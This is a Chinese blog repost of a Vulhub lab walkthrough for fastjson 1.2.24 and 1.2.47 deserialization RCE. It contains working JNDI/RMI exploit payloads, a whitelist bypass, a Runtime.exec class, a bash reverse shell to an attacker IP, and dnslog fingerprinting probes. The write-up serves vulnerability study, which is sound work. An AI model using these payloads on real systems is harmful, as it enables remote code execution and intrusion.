[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE

Posted DDao_blog

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE相关的知识,希望对你有一定的参考价值。


fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

0x00 预备知识

RMI:
RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

Java RMI:Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

参考RMI:https://blog.csdn.net/xinghun_4/article/details/45787549

JNDI:
jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

jndi注入就是利用的动态类加载完成攻击的。

参考JNDI注入:https://blog.csdn.net/u011479200/article/details/108246846


0x01 漏洞描述

FastJson库是Java的一个Json库,其作用是将Java对象转换成json数据来表示,也可以将json数据转换成Java对象。

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

fastjson特性:

  1. 提供服务器端、安卓客户端两种解析工具,性能表现较好。
  2. 提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。
  3. 允许转换预先存在的无法修改的对象(只有class、无源代码)。
  4. Java泛型的广泛支持。
  5. 允许对象的自定义表示、允许自定义序列化类。
  6. 支持任意复杂对象(具有深厚的继承层次和广泛使用的泛型类型)。

0x02 影响版本

fastjson <= 1.2.24


0x03 靶场环境

fastjson 1.2.24:https://vulhub.org/#/environments/fastjson/1.2.24-rce/


0x04 漏洞分析

JSON 还原回Object 的方法,主要的API有两个,分别是JSON.parseObjectJSON.parse,最主要的区别就是前者返回的是JSONObject而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用JSON.parseObject来获取数据。

fastjson接受的JSON可以通过@type字段来指定该JSON应当还原成何种类型的对象,在反序列化的时候方便操作。

源码分析:
https://www.freebuf.com/vuls/178012.html
http://xxlegend.com/2017/04/29/


0x05 漏洞复现

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出:

向这个地址POST一个JSON对象,即可更新服务端的信息:因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令:

保存以下代码为TouchFile.java文件(文件名与类名要一致否则会报错):

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

执行代码生成TouchFile.class文件:javac TouchFile.java

使用marshalsec项目,启动RMI服务:
marshalsec项目下载地址:https://github.com/mbechler/marshalsec.git
下载好之后用mvn打包:mvn clean package -DskipTests

成功之后target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件:

然后先把编译好的class文件传到外网系统中,用python起一个简单的http服务:python -m SimpleHTTPServer 12581

开启RMI服务,监听9999端口,并制定加载远程类TouchFile.classjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.11.34.231:12581/#TouchFile" 9999(后来换了个ip,意思一样问题不大)
向靶机发送payload,带上RMI地址:

POST / HTTP/1.1
Host: 192.168.1.142:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 163

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.142:9999/TouchFile",
        "autoCommit":true
    }
}


登录靶机,文件已成功创建:

攻击机效果截图:


0x06 反弹shell

只需要改一下执行命令即可,将TouchFile.java内容改为:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.142/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

之后重复上述操作,在攻击机监听7777端口,抓包修改重放后就会得到反弹shell了:


0x07 Fastjson指纹特征

  1. 根据返回包判断:
    任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽,如果屏蔽使用其它办法。
  2. 利用dnslog盲打:
    构造以下payload,利用dnslog平台接收:{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

    查看平台返回结果:

    1.2.67 版本后 payload:
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
# 畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}

fastjson 1.2.47 远程命令执行漏洞

0x00 漏洞描述

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。


0x01 影响版本

fastjson <= 1.2.47


0x02 靶场环境

fastjson 1.2.47:https://vulhub.org/#/environments/fastjson/1.2.47-rce/


0x03 漏洞分析

在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

源码分析:
https://www.freebuf.com/vuls/208339.html
https://cert.360.cn/warning/detail?id=7240


0x04 漏洞复现

环境启动后,访问http://your-ip:8090即可看到一个json对象被返回:

content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析:
故意构造一个不完整的json发送请求,会发现响应包会有fastjson字段:

利用dnslog平台验证:{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

查看平台返回结果:

复现流程与 1.2.24 版本相同,只是传入的payload不同:

POST / HTTP/1.1
Host: 192.168.1.142:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 265

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.1.143:9999/TouchFile",
        "autoCommit":true
    }
}

攻击机监听得到反弹shell:

攻击成功效果截图:


参考链接:
https://www.freebuf.com/articles/web/242712.html(Fastjson1.2.24漏洞复现详细过程)
https://www.freebuf.com/vuls/178012.html(Fastjson 1.2.24反序列化漏洞分析)
http://xxlegend.com/2017/04/29/(fastjson 远程反序列化poc的构造和分析 )
https://www.freebuf.com/vuls/208339.html(浅谈Fastjson RCE漏洞的绕过史)
https://cert.360.cn/warning/detail?id=7240(FastJson 远程代码执行漏洞分析报告)

以上是关于[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE的主要内容,如果未能解决你的问题,请参考以下文章

vulhub漏洞复现Fastjson 1.2.24反序列化漏洞

fastjson 1.2.24/1.2.47 rce复现

fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤

fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤

技术分享fastjson <= 1.2.24 反序列化漏洞分析